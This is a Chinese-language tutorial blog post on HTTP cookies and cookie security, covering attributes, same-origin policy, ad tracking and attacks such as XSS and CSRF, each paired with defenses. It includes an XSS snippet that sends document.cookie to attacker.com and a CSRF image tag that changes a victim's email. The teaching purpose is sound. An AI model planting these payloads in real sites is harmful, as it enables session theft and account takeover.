阅读 777

浅谈Cookie和Cookie安全

Cookie(也叫HTTP cookie,web cookie)是保存在浏览器中的一小块数据(不超过4K)。HTTP协议是无状态的,因此cookie最初被设计来帮助网站保存一些状态信息,或者用户的一些操作历史。 比如基于cookie实现的前端购物车(现在通常会用local storage来替代cookie),或者结合session来实现用户登录状态,亦或者是保留用户在网站上填写的表单信息方便下次输入。

cookie原理

image.png

如何设置cookie

  • cookie的基于HTTP头:Set-Cookie来实现,web服务器会在http响应中携带该头。浏览器在响应头中发现Set-Cookie后,会将其存储在本地cookie中,并在后面的请求中携带中携带这个些cookie数据。如同图中的「1」「2」「3」所示
  • cookie仅会在相同的domain请求下被携带,当访问与该cookie不同domain下的资源时,浏览器不会携带此cookie。如图中「4」「5」所示
  • 在请求中是否携带域名下的cookie与当前打开的网站无关,而与请求的url有关。如图中「6」所示:当用户访问b.com时,请求了一张放在a.com服务器上的图片,此请求中会携带之前用户访问a.com时保存的cookie。
    • 攻击者利用该特性构造CSRF攻击,在后面的安全问题中会谈到
  • 在js中,使用docment.cookie能且仅能获取当前网站的cookie。在上图中,b.com中执行docment.cookie是无法获取到a.com中的cookie的。但这并不影响在b.com中访问a.com的资源时,浏览器为该请求带上a.com的cookie。
    • document.cookie 仅能获取当前执行js域名下的cookie,这是浏览器对js的cookie访问权限设定
    • 浏览器会为请求携带上保存在浏览器中的当前域名下所有可使用的cookie,即在b.com中访问a.com的资源时浏览器会使用a.com的cookie。这是浏览器访问cookie的权限,这两种权限不要弄混。

同源策略

cookie常常被用于存储用户的私有信息,所以为了保证隐私安全,防止cookie信息被盗取,浏览器施行了同源政策。只有当各个网络访问满足同源策略时,才允许共享cookie信息。 所谓的「同源」指的是:

  • 协议相同
  • 域名相同
  • 端口相同
http:// www.test.com :80/xxxxxx
------- ------------ ---
    |         |       |
   协议       域名     端口
复制代码

只有当这三者相同时,浏览器才认为是符合同源策略的。 而基于cookie的网络攻击则是通过绕过各种办法绕过同源策略来实施攻击,比如XSS、CSRF攻击,具体的例子将在后面的安全问题一节中谈到。

cookie的属性

下面是一个例子,用户访问docs.foo.com后,服务端返回的响应头

HTTP/1.0 200 OK
Set-Cookie: LSID=DQAAAK…Eaem_vYg; Path=/accounts; Expires=Wed, 13 Jan 2021 22:23:01 GMT; Secure; HttpOnly
Set-Cookie: HSID=AYQEVn…DKrdst; Domain=.foo.com; Path=/; Expires=Wed, 13 Jan 2021 22:23:01 GMT; HttpOnly
Set-Cookie: SSID=Ap4P…GTEq; Domain=foo.com; Path=/; Expires=Wed, 13 Jan 2021 22:23:01 GMT; Secure; HttpOnly
复制代码

Domain & path

控制cookie的生效范围

  • domain即域名,path即路径,cookie只能在指定的domain和path下使用。
  • 当domain不被指定是,默认是当前的域名(不包含子域名);当path不被指定时,默认是域名下所有的路径'/'。
  • 在上面的例子中,第一个cookie:LSID,没有指定domain且指定了Path=/accounts,所以只有当请求docs.foo.com/accounts下的资源时,才会携带该cookie。
  • 而对于HSID和SSID这两个cookie,在访问foo.com及其下的所有子域名都可以被使用。注意这里域名前的「.」是可选的,.foo.com与foo.com作用一样。

Expires & Max-Age

控制cookie的有效时间

  • Expires和Max-Age 用来指定cookie的超时时间,前者用来指定具体的cookie超时时间,后者用来指定cookie的超时间隔。
  • 如果不指定,则在用户关闭浏览器时会删除cookie。

Secure & HttpOnly

cookie的安全策略

  • Secure指定cookie必须在https请求中才能携带
  • HttpOnly禁止前端使用js操作cookie,document.cookie将不能获取到cookie值
  • 具体应用在后面的cookie安全问题中会讲到

cookie的用途

按照用途,cookie可分为3类:

  • 会话管理
  • 个性化
  • 用户跟踪(广告)

来看一个典型的场景 image.png 在这个场景中,用户的浏览器中同时保存了上述的三种cookie

会话管理

图中交互[3][4][5],购物车场景

  • 用户首次访问购物网站,网站server为用户生成了一个sessionId,并在响应中携带Set-Cookie: sessionId=123; Expires=Tue, 15 Jan 2021 21:47:38 GMT;。
  • 浏览器收到服务端的响应,从响应中获取到Set-Cookie,将sessionId=123存储浏览器cookie中。由于Set-Cookie中携带了Expires属性,浏览器同时为该cookie设置过期时间(如果没有Expires属性,浏览器会把该cookie作为session cookie处理,当用户关闭浏览器时,该cookie会被删除)
  • 用户将一个iphone商品加入购物车,浏览器会将此购物车操作发送给server,并且在该请求中的cookie中自动携带上sessionId=123。server会记住sessionId=123的用户在购物车中添加了一个iphone
  • 用户然后关闭了该购物网站
  • 数小时后,用户再此打开此购物网站并访问购物车,网站从后端请求购物车数据。浏览器查找本地cookie,发现保存了此网站sessionId=123的有效cookie,浏览器在网站请求头中附带自动附带sessionId=123的cookie。
  • 服务端收到购物车查询请求,并获从请求头中获取到sessionId=123,服务器查找内存中的id=123的session,发现有此用户的购物车商品数据(一台iphone)。服务器将此数据返回给前端。
  • 用户在购物车中看到了自己上次访问网站是添加的iphone,选中此商品完成结算。

个性化

图中交互[1],个性化设置

  • 用户访问购物网站,浏览商品列表,切换列表展示模式为大图模式,网站将此设置到cookie中
  • 用户关闭网站
  • 一天后用 户再次打开网站,网站读取cookie数据(document.cookie),获取到用户的列表模式设置为大图模式后,网站将商品列表以大图模式展示

用户跟踪(广告投放)

图中交互[2][6][7][8][9]

  • 购物网站接入了广告平台sdk(百度广告sdk),并在广告平台上付费开通了广告投放
  • 用户访问购物网站,会自动请求广告平台的资源(一般是请求一张广告平台的gif),广告平台sdk为用户生成了一个唯一id: user123,并在资源响应头中携带cookie信息(诸如,Set-Cookie:HMACCOUNT=user123; Path=/; Domain=hm.baidu.com; Expires=Sun, 18 Jan 2038 00:00:00 GMT)
  • 网站受到详情后,浏览器会将Set-Cookie中的信息存储在cookie中,注意此cookie的domain属性是广告平台的域名,而不是购物网站的域名,我们将这种cookie称为第三方cookie(third cookie)。
  • 用户在购物网站浏览了一些商品后关闭了网站
  • 一段时间后,用户浏览了一个视频网站video.com,此视频网站在广告平台上开通了承接广告业务,并接入了广告平台sdk。同样该网站会自动请求广告平台下的资源,浏览器会自动携带之前存储的三方cookie(因为此cookie的domain是广告平台资源的域名)。
  • 广告平台收到来自video.com的资源请求,并发现请求头中带上cookie:HMACCOUNT=user123。以此,广告平台识别出此用户是之前访问过购物网站的用户user123。由于购物网站开通了付费广告,此用户被识别为精准用户,当video.com从广告平台拉取广告素材时,会拉到购物网站投放的广告,并展示给用户。
  • 用户在video.com观看视频,视频开头插入了一段30秒的广告,广告内容是关于购物网站的优惠活动。
  • 用户对此广告推送的活动比较感兴趣,并且本身也是购物网站的用户,有信任基础,于是用户点开广告,进入购物网站领取优惠并购买商品。video.com收到了广告平台发放的CPC广告收入。

例子:淘宝在优酷中投放广告 淘宝中的cookie,cna image.png 优酷中的cookie,cna image.png

cookie带来的安全问题

本节中的安全问题整理自 Wiki about "HTTP cookie"

网络窃听(中间人攻击)

image.png 中间人攻击:

  • 在网络环境中,客户端与服务端之间的通路上会经过很多节点(wifi路由器,运营商网关),而基于HTTP的传输数据是未经加密的,很容易被攻击者劫持篡改或者截取信息。
  • 在上图中,攻击者通过在路由器上部署木马,将路由器的浏览过滤并转发到自己的服务器。(比如将用户访问某银行的请求)
  • 攻击者获取到请求数据后,从请求中获取cookie信息,并利用该cookie信息构造恶意请求,比如构造一个转账请求发送给服务器,由于cookie是真实有效的,服务器收到请求后会接受该请求,并执行转账操作导致用户资金进入攻击者的账户。

防御方法:

  • 网站使用https来传输数据
  • 服务端在Set-Cookie中设置secure属性,指示浏览器必须在使用https的请求中才能携带cookie信息,在http中不携带cookie,避免被攻击者截取破解。

image.png

中间人攻击的一个例子:www.cnblogs.com/index-html/…

DNS缓存中毒

image.png 攻击流程:

  • 攻击者利用DNS服务器,构造一条虚假的DNS记录,通常是被攻击网站的子域名。这里被攻击网站是a.com,攻击者构造的DNS记录是fabric.a.com
  • 用户访问a.com后,浏览器中会保存a.com的cookie信息
  • 攻击者制作了一张美女图片,访问链接为fabric.a.com/meizi.png,并…
  • 由于a.com的cookie没有指定domain,默认会在所有子域名中携带cookie,因此当用户访问该图片时,携带了a.com下的所有cookie,发送给了攻击者伪造的服务器
  • 攻击者从服务器中获取到用户的cookie,并利用改cookie完成用户信息的盗用

防御方式:

  • 网站采用https,并为cookie设置Secure属性
    • 如果攻击者伪造的图片是基于Http的,由于Secure属性的存在,a.com下的cookie将不会被携带其中
    • 如果攻击者试图构造一张基于Https的图片,由于其无法获取TSL证书,当用户访问该图片时,浏览器会显示该证书非法,访问存在风险,从而帮助用户识别风险。
  • DNS服务商采用更有效的安全策略来防止DNS被污染

什么是DNS缓存中毒:www.cloudflare.com/zh-cn/learn…

XSS

Crossing Site Script,跨站脚本,缩写为XSS

XSS是一类网络攻击方式,通常表现为恶意前端脚本注入,通过诱导用户在被攻击网站上执行恶意代码盗取用户的敏感信息。常见的诱导方式有:

  • 对于UGC一类的网站(各类论坛、博客,比如知乎,豆瓣,微博,youtube),允许用户在网站发布文章或评论,这里会有潜在的网络风险。攻击者利用网站功能发布一些含有恶意代码的页面,便能构造XSS攻击。
  • 通过挖掘网页漏洞注入代码,比如某些网页的搜索结果页会把搜索参数拼在url后面,并把搜索参数现在页面中。攻击者利用此特性,构造含有恶意脚本的搜索url,例如:a.com/search?key=…,然后通过邮件等方式诱导用户点击此链接,从而完成恶意代码注入。

XSS的攻击手段有很多种,这里仅讨论两个利用cookie的场景:

cookie盗用

image.png 攻击者通过在目标网站注入恶意脚本来完成cookie盗用

  • 攻击者在a.com网站发布包含恶意脚本的文章(网站服务器没有对用户上传的内容做安全校验),如图中,该文章中包含一个按钮「点我看美女」。此按钮实际是一个包含恶意脚本的标签
<a href="#" 
	onclick="window.location = 'http://attacker.com/stole?text=' + escape(document.cookie); return false;"
>点我看美女</a>
复制代码
  • 用户浏览a.com,点击了含有恶意代码的帖子,触发js脚本,导致浏览器携带cookie访问attacker.com
window.location = 'http://attacker.com/stole?text=' + escape(document.cookie); 
return false;
复制代码
  • 在这种攻击方式下,即使a.com使用了https,攻击者仍然能够偷取用户的cookie。

防御方式:

  • 在a.com中对cookie设置HttpOnly属性,该属性会禁止前端通过js读取网站的cookie数据,从而防止cookie被盗用。

代理请求

image.png 在某些**旧版本**的浏览器中, 攻击者会利用XMLHttpRequest API的漏洞窃取用户数据

防御方式:

  • 新版本的浏览器修复了此漏洞
  • 可以使用HTTPS对请求做端到端加密,即使攻击者拿通过代理拿到了请求数据,也无法请以破解请求中的数据,从而防止信息被盗用。

CSRF

en.wikipedia.org/wiki/Cross-… Crossing Site Request Forgery,跨站请求伪造,缩写CSRF或XSRF

虽然不如XSS问题普遍,CSRF也是一种常见且有效的网站攻击方式。

可以把CSRF理解为某种意义上的代理人攻击,本质上是因为用户在某个网站的鉴权信息由浏览器掌管,攻击者骗取浏览器的信任,让浏览器为攻击者的伪造请求附上鉴权信息,从而使得伪造的请求被服务器信任,达到操作用户数据的目的。 这种攻击方式下,用户往往是不感知的,甚至不需要用户在网页上做任何交互。

CSRF攻击有两类:

  • 从站外发起的攻击
    • 攻击者通过邮件等方式诱导用户访问攻击者网站:attacker.com,攻击者在此网站中部署了恶意脚本,直接请求目标网站a.com的接口(比如修改邮箱),由于用户在浏览器中登录了a.com,导致浏览器为伪造的请求携带真实的用户鉴权cookie。服务端收到请求后,以为是真实用户的请求而接受了攻击者的操作。
    • 这种攻击方式通常可以使用同源策略来避免
  • 从站内发起的攻击
    • 攻击者通过在目标网站发布图片(或含有隐藏form的文章等),在目标网站植入伪造的请求(比如修改邮箱),当用户访问该图片时,自动触发该请求,从而冒用用户身份完成操作。
    • 由于发起方是a.com,此种方式不受同源策略的限制,比站外攻击方式更危险。
    • 可以使用双重cookie校验来防范

_

CSRF与XSS的区别

Unlike cross-site scripting (XSS), which exploits the trust a user has for a particular site, CSRF exploits the trust that a site has in a user's browser.

  • CSRF exploits the trust that a site has in a user's browser
    • 利用网站对用户(浏览器)的信任,攻击者冒用户身份(攻击者通常不能获取用户cookie)滥用网站的请求(转账、修改密码、修改邮箱等)
  • XSS exploits the trust a user has for a particular site
    • 利用用户对特定网站的信任,执行了攻击者在网站上注入的恶意脚本,导致信息被攻击者获取

利用图片的站内CSRF攻击

攻击者在目标网站上发布一张图片

<img src="https://a.com/updateEmail?newEmail=attacker@qq.com">
复制代码

当用户访问网站时,无论用户是否操作,网站会自动加载这张图片,从而利用用户身份执行危险的修改用户邮箱请求:

GET http://a.com/updateEmail?newEmail=attacker@qq.com
复制代码

由于此请求是在用户的浏览器中发起的,会携带用户的有效cookie信息,从而在用户不知情的情况下修改用户邮箱。

在这个案例中,a.com的开发者有几点是可以改进的:

  • 由于Get攻击很容易构造,比如使用一张图片,用户在不做任何交互的情况下,都会触发攻击。所以需要保证网站中所有的Get请求是数据安全的,不要使用Get请求修改数据状态。对于修改数据的请求,尽量使用POST
  • 双重cookie校验(Double Submit Cookie),即后端在cookie中注入一个随机的csrf_token,并要求前端请求的body中需要携带与cookie中相同的csrf_token,由于CSRF攻击者无法获取cookie的实际值,从而无法在请求参数中构造正确的csrf_token

cookie劫持

在IE上,由于拖拽接口(Drag-Drop)不受同源策略的限制,攻击者可以实施拖拽劫持。 具体实现可参考这篇文章 blog.csdn.net/m0_38103658…

Valotta为了验证该漏洞,在Facebook上发布了一个美女脱衣服的游戏,结果150个好友有80个中招。

互联网安全研究人员名为罗萨里奥·瓦罗塔(Rosario Valotta),他将上述黑客技术称作是从Cookie劫持(Cookiejacking)。 瓦罗塔说:“Cookiejacking无所不能,不论是任何网站、任何Cookie文件,一切超乎想象。” 瓦罗塔称,黑客可以利用IE浏览器上的漏洞访问浏览器内部的Cookie数据文件,后者包含了网站账户上的登录名和密码。一旦黑客得到Cookie文件,他们就可以登录到对应的网站中。 瓦罗塔称,此次安全漏洞将影响到所有Windows系统版本上的所有IE版本浏览器,包括微软新推出的IE9。 为了利用这个漏洞,黑客需要在IE浏览器的Cookie前诱使用户在PC屏幕上拖拽某个对象。这听起来似乎是一个艰难的任务,但瓦罗塔称他能轻松实现这一目标。瓦罗塔在Facebook上设置了一个谜题,解答出该谜题的用户就能够看到一位美丽女子的裸照,瓦罗塔说:“我把这个游戏放在了Facebook上,结果不到3天的时间内,有超过80份Cookie文件发到了我的服务器上,而且这还是我的Facebook上只有150位朋友的前提下。”

小结

由于HTTP协议的无状态特性,设计了cookie来保存用户状态,它由web服务器通过Set-Cookie响应头来发起,由浏览器保存,并且浏览器会为相同domain下的请求附带上cookie数据。 cookie为不进为网站提供了会话管理以及个性化定制的能力,也为广告商提供了有效的用户跟踪方法,在网站中被广泛使用。 cookie在为web带来便利的同时,也为攻击者提供了安全漏洞,他们可以通过XSS或CSRF等手段,来窃取或冒用用户身份,从而盗取用户信息。网站开发者需要重视cookie安全漏洞带来的隐私泄露问题,从多个方面做好防范,包括但不限于:

  • 使用https协议
  • 禁止跨域请求
  • 为cookie设置安全属性:Secure,HttpOnly
  • 对用户提交到后端的数据做好安全过滤,防止注入脚本

参考文章

文章分类
前端
文章标签